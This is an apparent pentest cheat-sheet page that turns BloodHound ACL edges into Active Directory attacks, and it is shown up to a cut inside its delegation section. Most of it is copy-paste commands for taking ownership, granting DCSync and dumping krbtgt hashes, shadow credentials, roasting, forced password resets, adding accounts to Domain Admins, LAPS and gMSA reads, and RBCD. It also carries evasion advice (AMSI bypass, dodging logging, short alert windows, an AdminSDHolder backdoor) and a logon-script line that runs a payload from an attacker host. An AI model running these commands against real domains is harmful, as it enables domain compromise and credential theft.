daemon-sec-cheatsheet

acl-and-object-abuse.md (47195B)

---

 ---
 title: "Stage 06 — ACL and Object Abuse"
 description: "CPTS attack-flow reference for stage 06 — acl and object abuse in an authorised engagement."
 category: pentest-workflow
 subcategory: "CPTS Attack Flow"
 order: 9
 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-06", "pentest-workflow"]
 tools: ["BloodyAD", "PowerView", "Impacket", "BloodHound"]
 difficulty: advanced
 updated: "2026-08-29"
 source: "vault:Pentest Attack Flow/09 - Stage 06 - ACL and Object Abuse.md"
 ---
 > [!dashboard] Attack-flow navigation
 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
 >
 > **Section:** 09 of 17 · **Focus:** Stage 06 — ACL and Object Abuse
 >
 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) · **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)
 
 ---
 # 🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges)
 
 This is where BloodHound edges become shells. **bloodyAD is my driver** — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn't an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.
 
 > [!tools] Stage this
 > [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) — PowerSploit [PowerView](https://github.com/PowerShellMafia/PowerSploit): `Find-InterestingDomainAcl`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Set-DomainObjectOwner`, `Set-DomainUserPassword`. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained.
 > [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) — [StandIn](https://github.com/FuzzySecurity/StandIn): small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read.
 > [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256) · [GPG signature](/downloads/pentest-workflow/targetedKerberoast.py.sha256.asc)) — [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast): one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash.
 > [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) — [Whisker](https://github.com/eladshamir/Whisker): Windows-side Shadow Credentials (writes `msDS-KeyCredentialLink`); pair with Rubeus `asktgt /getcredentials` for the PKINIT+UnPAC tail. Linux twin: [pywhisker](https://github.com/ShutdownRepo/pywhisker).
 >
 > Link-only drivers: [bloodyAD](https://github.com/CravateRouge/bloodyAD) · [Impacket](https://github.com/fortra/impacket) (`dacledit.py`, `owneredit.py`, `rbcd.py`, `addcomputer.py`) · [NetExec](https://github.com/Pennyw0rth/NetExec) · [autobloody](https://github.com/CravateRouge/autobloody) · [evil-winrm](https://github.com/Hackplayers/evil-winrm).
 
 > [!note] Auth block for every bloodyAD call
 > Every command uses `-d "$DOMAIN" -u "$U" -p "$P" --host "$DC"`. Swap `-p "$P"` for `-p ':<NThash>'` to pass-the-hash, add `-k` for Kerberos, `-s` for LDAPS (so writes aren't cleartext). If the DC name won't resolve, add `-i "$IP" --dns "$IP"`. Full auth matrix + verbs in BloodyAD.
 
 ---
 
 ## ACE primer — what each edge actually means
 
 Every BloodHound abuse edge is an ACE in the target's security descriptor. Read this table once, then every section below is just "which write do I get".
 
 | ACE / BloodHound edge | AD right (GUID family) | What it lets me do | Go-to abuse |
 | :-- | :-- | :-- | :-- |
 | **GenericAll** | `RIGHT_GENERIC_ALL` (full control) | Everything: write any attr, rewrite DACL, take ownership | Shadow creds / targeted roast (user) · group add (group) · RBCD (computer) |
 | **GenericWrite** | `RIGHT_GENERIC_WRITE` | Write most attributes, **not** the DACL, **not** password | Targeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips |
 | **WriteDacl** | `WRITE_DAC` | Rewrite the object's DACL | Grant self GenericAll; on domain root → grant DCSync |
 | **WriteOwner** / **Owns** | `WRITE_OWNER` | Seize ownership → owner always controls the DACL | Own it → grant self GenericAll (two-step WriteDacl) |
 | **ForceChangePassword** | `User-Force-Change-Password` extended right | Reset password without knowing the old one | `Set-DomainUserPassword` / `bloodyAD set password` (loud) |
 | **AddMember** / **AddSelf** | Write on group's `member` attribute (AddSelf = validated write, self only) | Add accounts (or just me) to the group | `net group` / `Add-DomainGroupMember` / `bloodyAD add groupMember` |
 | **AllExtendedRights** | `RIGHT_DS_CONTROL_ACCESS` (all ext. rights) | All extended rights at once | On domain root = DCSync now (no write needed); on user = password reset |
 | **Self** (validated) | Validated write bound to the object itself | e.g. self-service group membership, SPN self-write | Context-dependent — check which validated write the GUID maps to |
 | **WriteProperty (SPN)** | Write on `servicePrincipalName` | Set/clear SPNs only | Targeted Kerberoast (plant SPN → roast → remove) |
 | **WriteProperty (logonscript)** | Write on `scriptPath` | Set a logon script UNC path | Fires at victim's next **interactive** logon |
 | **WriteProperty (msDS-KeyCredentialLink)** = **AddKeyCredentialLink** | Write key credentials | Shadow Credentials → PKINIT → NT hash, no password touch |
 | **ReadLAPSPassword** | Read `ms-Mcs-AdmPwd` / `msLAPS-Password` | Read the machine's local admin password | `Get-DomainComputer … ms-mcs-admpwd` / LAPSToolkit (quiet read) |
 | **ReadGMSAPassword** | Read `msDS-ManagedPassword` | Read a gMSA's current password blob → derive NT hash | DSInternals / gMSADumper (quiet read) |
 | **DS-Replication-Get-Changes(-All)** | `1131f6aa/1131f6ad/…-9c15-002f18460f81` GUIDs on domain root | Replicate directory data | DCSync — `secretsdump.py` / `mimikatz lsadump::dcsync` (see [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)) |
 
 > [!tip] ACE algebra
 > `GenericAll` ⊇ `GenericWrite` + `WriteDacl` + `WriteOwner` — a GenericAll target is vulnerable to **every** attack listed under the lesser rights. `WriteOwner` → `WriteDacl` → `GenericAll` is the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says.
 >
 > Two rights deserve special attention because they hide in plain sight:
 > - **`Self`** is meaningless until you resolve the `ObjectAceType` GUID — it might be "add self to group" (gold) or "write my own phone number" (nothing). `Get-DomainObjectAcl -ResolveGUIDs` or `dacledit.py -action read` will tell you.
 > - **`ReadLAPSPassword`/`ReadGMSAPassword`** never appear as "dangerous" in some collectors but are pure credential theft with zero modification events — always check inbound *read* edges, not just write edges.
 
 ---
 
 ## Reading ACLs — find the edge before you swing it
 
 ```bash
 # BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options
 bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip
 # nxc one-liner collector:
 nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP"
 
 # bloodyAD: everything I can write to — start here
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail
 
 # which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd
 ```
 
 ```bash
 # Impacket equivalents
 findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP"          # delegation edges
 dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"   # raw DACL dump
 
 # nxc — quick delegation + group context sweeps
 nxc ldap "$IP" -u "$U" -p "$P" --find-delegation
 nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users            # stray creds while you're here
 ```
 
 ```powershell
 # PowerView (Windows foothold) — the classic enumeration trio
 Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" }
 Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' }
 # domain-root replication rights (who can DCSync already?)
 Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
   ? { $_.ObjectAceType -match 'Replicating' }
 ```
 
 **BloodHound Cypher — outbound object control from my user:**
 ```cypher
 MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p
 // and the money query — shortest path to DA:
 MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
 ```
 
 > [!tip] Don't trust one source
 > BloodHound edges are a snapshot — re-confirm the ACE with `bloodyAD get object victim --resolve-sd` or `dacledit.py -action read` before burning a write. Stale graph data is the #1 cause of "the one-liner didn't work". Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don't.
 
 ---
 
 ## Edge → command quick index
 
 | BloodHound edge | bloodyAD one-liner | PowerView / Impacket equivalent |
 | :-- | :-- | :-- |
 | Owns / WriteOwner | `set owner victim "$U"` → `add genericAll victim "$U"` | `Set-DomainObjectOwner` / `owneredit.py` → `dacledit.py` |
 | WriteDacl | `add genericAll victim "$U"` (or `add dcsync "$U"` on domain) | `Add-DomainObjectAcl` / `dacledit.py -rights FullControl\|DCSync` |
 | GenericAll (user) | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` / `Whisker.exe` |
 | GenericAll (group) | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `ldap_shell` |
 | GenericAll (computer) | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` / shadow creds on `TARGET$` |
 | GenericWrite | `set object victim servicePrincipalName -v 'HTTP/x'` | `Set-DomainObject -Set @{serviceprincipalname=…}` / `targetedKerberoast.py` |
 | ForceChangePassword | `set password victim 'Newpass123!'` | `Set-DomainUserPassword` / `net rpc password` |
 | AddSelf / AddMember | `add groupMember 'Domain Admins' "$U"` | `Add-DomainGroupMember` / `net group "Domain Admins" $U /add /domain` |
 | AddKeyCredentialLink | `add shadowCredentials victim` | `certipy shadow auto` / `pywhisker` |
 | AllExtendedRights / DCSync | `add dcsync "$U"` → `secretsdump.py` | `dacledit.py -rights DCSync` → `secretsdump.py` |
 | AddAllowedToAct | `add rbcd 'TARGET$' 'ATTACKER$'` | `rbcd.py -action write` |
 | ReadLAPSPassword | `get object TARGET$ --attr msLAPS-Password` | `Get-DomainComputer … ms-mcs-admpwd` / `nxc ldap --laps` |
 | ReadGMSAPassword | `get object gmsa$ --attr msDS-ManagedPassword` | DSInternals `Get-ADReplAccount` / `gMSADumper.py` |
 
 ---
 
 ### Owns / WriteOwner
 
 **What to look for:** an `Owns` or `WriteOwner` edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps.
 
 **Exploit:**
 
 ```bash
 # 1. take ownership
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U"
 # 2. grant myself GenericAll — now do any GenericAll attack below
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
 ```
 
 ```bash
 # Impacket equivalent
 owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 dacledit.py  -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 ```
 
 ```powershell
 # PowerView equivalent
 Set-DomainObjectOwner -Identity victim -OwnerIdentity $U
 Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All
 ```
 
 > [!warning] Watch out
 > `set owner` is **not** rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (`owneredit.py -action read`) and hand it back in cleanup. On `adminCount=1` targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead.
 
 ---
 
 ### WriteDacl
 
 **What to look for:** a `WriteDacl` edge. Grant yourself full control on the object — or, if the edge is on the **domain root**, grant yourself DCSync.
 
 **Exploit:**
 
 ```bash
 # grant self full control over the object
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
 
 # WriteDacl on the DOMAIN object → grant DCSync, then replicate
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"
 ```
 
 ```bash
 # Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write
 dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 # ...dump, then restore:
 dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
 ```
 
 ```powershell
 # PowerView equivalent
 Add-DomainObjectAcl `
   -TargetIdentity 'DC=corp,DC=local' `
   -PrincipalIdentity $U `
   -Rights DCSync
 ```
 
 > [!warning] Watch out
 > Leaving DCSync on a low-priv user is a permanent IOC. **Always** `remove dcsync "$U"` after you've dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don't even audit 4662/5136, but assume they do.
 
 ---
 
 ### GenericAll
 
 **What to look for:** the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type.
 
 **Exploit:**
 
 ```bash
 # USER → recover NT hash via shadow creds (quiet, reversible) — preferred
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
 
 # USER → reset password (loud, breaks their logon)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
 
 # USER → targeted Kerberoast (works without PKINIT/ADCS)
 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP"
 
 # GROUP → add myself
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
 
 # COMPUTER → option A: RBCD (see delegation below)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
 # COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$'
 ```
 
 **Windows-foothold equivalent (Whisker.exe — staged above):**
 
 ```powershell
 # add a key credential to the target (user or computer)
 .\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC
 # -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command:
 .\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap
 # cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID>
 ```
 
 > [!tip] GenericAll on a GROUP → cascade
 > Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain: `add groupMember 'Service Accounts' "$U"` → `add shadowCredentials winrm_svc` → `add shadowCredentials ca_svc`.
 
 > [!warning] Watch out
 > Since GenericAll ⊇ GenericWrite, every [GenericWrite](#genericwrite) attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs `ms-DS-MachineAccountQuota > 0` to create `ATTACKER$`; shadow creds on `TARGET$` don't (no new object needed).
 
 ---
 
 ### GenericWrite
 
 **What to look for:** write to (most) attributes but **not** the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag.
 
 **Exploit:**
 
 ```bash
 # Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup
 python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP"
 #   -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't)
 hashcat -m 13100 roast.txt rockyou.txt
 
 # Manual equivalent — plant SPN → roast → REMOVE THE SPN (always)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN"
 GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName   # cleanup (omit -v = clear)
 
 # Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
 
 # Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH
 GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH
 
 # Logon-script abuse — fires at victim's next INTERACTIVE logon
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat'
 ```
 
 ```powershell
 # PowerView equivalent from a Windows foothold
 Set-DomainObject -Identity victim -Set @{
   serviceprincipalname = 'fake/kerberoast'
 }
 .\Rubeus.exe kerberoast /user:victim /outfile:roast.txt
 Set-DomainObject -Identity victim -Clear serviceprincipalname
 ```
 
 ```powershell
 # StandIn (staged above) — when PowerShell logging/AMSI is a problem
 .\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN"
 .\StandIn.exe --object samaccountname=victim --remove spn
 .\StandIn.exe --object samaccountname=victim --asrep        # flip DONT_REQ_PREAUTH
 ```
 
 > [!warning] Watch out
 > GenericWrite does **not** include `User-Force-Change-Password` — you cannot reset the password with it. Use shadow creds or Kerberoast. `scriptPath` only fires on an **interactive** logon, so it's useless against a service account that never touches a desktop. GenericWrite on a **group** ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (`setspn -Q` / BloodHound) — remove it the moment the TGS lands.
 
 **WriteProperty variants (scoped writes):** a `WriteProperty` ACE limited to one attribute is just GenericWrite with blinders. Read the ACE's `ObjectAceType` GUID (`-ResolveGUIDs`) to know which attribute you can touch:
 
 | WriteProperty target | Abuse | Notes |
 | :-- | :-- | :-- |
 | `servicePrincipalName` | Targeted Kerberoast (set → roast → clear) | Also granted by the `Self` validated-write on some objects |
 | `scriptPath` (logon script) | UNC path to a payload; fires at interactive logon | Pair with a Responder/SMB capture share if execution is slow |
 | `msDS-KeyCredentialLink` | Shadow Credentials | See dedicated section |
 | `userAccountControl` | Flip `DONT_REQ_PREAUTH` (AS-REP roast) or delegation flags | Revert with `remove uac` |
 | `member` (on a group) | AddMember | See dedicated section |
 | `msDS-AllowedToActOnBehalfOfOtherIdentity` | RBCD | See delegation section |
 
 ---
 
 ### ForceChangePassword
 
 **What to look for:** the `User-Force-Change-Password` extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain.
 
 **Exploit:**
 
 ```bash
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
 ```
 
 ```bash
 # Samba/RPC equivalents from Linux
 rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!"
 net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC"
 ```
 
 ```powershell
 # PowerView equivalent
 $NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force
 Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword
 ```
 
 > [!tip] Prefer the quiet alternative
 > If the same edge set also gives you GenericWrite/GenericAll on the victim, **skip the reset** — shadow credentials get you the NT hash (and a cert) without touching `unicodePwd`. The victim keeps working, no 4724 fires, and there's nothing to "change back" beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password).
 
 ```bash
 # the quiet alternative in one line (requires PKINIT)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
 ```
 
 > [!warning] Watch out
 > Password reset is the **loudest** ACL attack — the victim is locked out instantly and it fires **4724**. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check `servicePrincipalName` and logon events before you swing.
 
 ---
 
 ### AddSelf / AddMember
 
 **What to look for:** write to the group's `member` attribute (`AddSelf` = you may only add yourself). Instant escalation if it's a privileged group.
 
 **Exploit:**
 
 ```bash
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
 # verify + cleanup
 nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups"
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U"
 ```
 
 ```powershell
 # Windows equivalents
 net group "Domain Admins" $U /add /domain
 Add-DomainGroupMember -Identity 'Domain Admins' -Members $U        # PowerView
 .\StandIn.exe --group "Domain Admins" --add $U                      # StandIn
 # cleanup:  net group "Domain Admins" $U /del /domain
 ```
 
 ```bash
 # Impacket / Linux equivalents
 # ldap_shell:  add_user_to_group me "Domain Admins"
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member   # verify before/after
 ```
 
 > [!tip] Grab what you need, then leave
 > If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then `remove groupMember` — the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn't live for tools that cache a TGT — request a fresh ticket (`klist purge` / new `getTGT.py`) or use bloodyAD which re-auths per call.
 >
 > AddSelf vs AddMember: with `AddSelf` you can only add *yourself* — no staging a second backdoor account. Plan your single seat accordingly.
 
 ---
 
 ### ReadLAPSPassword / ReadGMSAPassword — quiet reads
 
 **What to look for:** read rights on `ms-Mcs-AdmPwd` (legacy LAPS), `msLAPS-Password` (Windows LAPS) on a computer, or `msDS-ManagedPassword` on a gMSA. These are **reads, not writes** — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph.
 
 ```powershell
 # PowerView — legacy LAPS
 Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
 # LAPSToolkit:  Get-LAPSComputers | findstr TARGET   ·   SharpLAPS.exe
 ```
 
 ```bash
 # Linux / nxc — one shot, also checks readability automatically
 nxc ldap "$IP" -u "$U" -p "$P" -M laps          # or --laps on newer builds
 # gMSA password blob → NT hash
 python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP"
 # bloodyAD raw read
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword
 ```
 
 ```powershell
 # DSInternals — gMSA blob → NT hash from a Windows foothold
 $blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
 $mp = ConvertFrom-ADManagedPasswordBlob $blob
 ConvertTo-NTHash $mp.SecureCurrentPassword
 ```
 
 > [!tip] OPSEC — reads are quiet, writes are loud
 > LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC *if* the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time.
 
 ---
 
 ### AllExtendedRights / DCSync
 
 **What to look for:** `AllExtendedRights` on the **domain root** means you already *hold* `DS-Replication-Get-Changes(-All)` — DCSync with **no** DACL modification needed. On a user it grants `User-Force-Change-Password`.
 
 **Exploit:**
 
 ```bash
 # domain root → replicate straight away (you already have the right)
 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt
 secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"                      # full dump
 
 # only need to GRANT it? (WriteDacl on domain) — then dump, then remove
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U"
 ```
 
 ```powershell
 # mimikatz on a DC-adjacent foothold (same rights, no Linux needed)
 lsadump::dcsync /domain:$DOMAIN /user:krbtgt
 ```
 
 > [!warning] Watch out
 > `AllExtendedRights` differs from `WriteDacl`: no need to *add* the right, you already **have** it — don't waste a noisy `dacledit` write. Replication fires **4662**; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). Deep dive: 🟡 Attack.
 >
 > Practical order of operations on the domain root:
 > 1. `secretsdump.py … -just-dc-user krbtgt` — krbtgt first (golden ticket capability).
 > 2. Then the specific DA/service accounts you actually need.
 > 3. Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint.
 
 ---
 
 ### Shadow Credentials (AddKeyCredentialLink)
 
 **What to look for:** write to `msDS-KeyCredentialLink` (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with **PKINIT/ADCS present** and DFL 2016+. Stealthiest takeover — no password change, survives resets.
 
 **Exploit:**
 
 ```bash
 # bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
 #   [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
 
 # save the recovered TGT/pfx to a path, then clean up the key
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim
 
 # log in with the recovered hash (winrm_svc example)
 evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325
 ```
 
 ```bash
 # Certipy equivalent (full auto: add key → PKINIT → hash)
 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC"
 
 # pyWhisker + certipy auth (two-step)
 pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP"
 certipy-ad auth -pfx victim.pfx -dc-ip "$IP"
 # cleanup:  pywhisker.py … --action remove --device-id <id>
 
 # works on COMPUTER objects too → machine account hash → often local admin on that box
 certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC"
 ```
 
 Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands).
 
 > [!warning] Watch out
 > PKINIT is Kerberos: use the **DC FQDN** (`--host "$DC"`, not the IP), and if the DC clock is skewed prefix `faketime -f '+7h' …` — this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire **5136** on `msDS-KeyCredentialLink`; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse.
 
 ---
 
 ### Delegation abuse (RBCD / Constrained / Unconstrained)
 
 #### RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer)
 
 **What to look for:** write to `msDS-AllowedToActOnBehalfOfOtherIdentity` on a computer → impersonate anyone to a service on it. Needs `MAQ > 0` to create a controlled machine.
 
 **Exploit:**
 
 ```bash
 # 1. create a computer I control (MAQ default = 10)
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123'
 # 2. set the RBCD trust on the target computer
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
 # 3. S4U → impersonation ticket for Administrator to the target
 getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP"
 # 4. use it, then clean up
 export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache
 psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN"
 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$'
 ```
 
 ```bash
 # Impacket-only equivalents for steps 1–2
 addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
 rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
 rbcd.py -delegate-to 'TARGET$' -action read  -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # verify
 rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # cleanup
 ```
 
 ```powershell
 # PowerView / StandIn from a Windows foothold
 $ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid
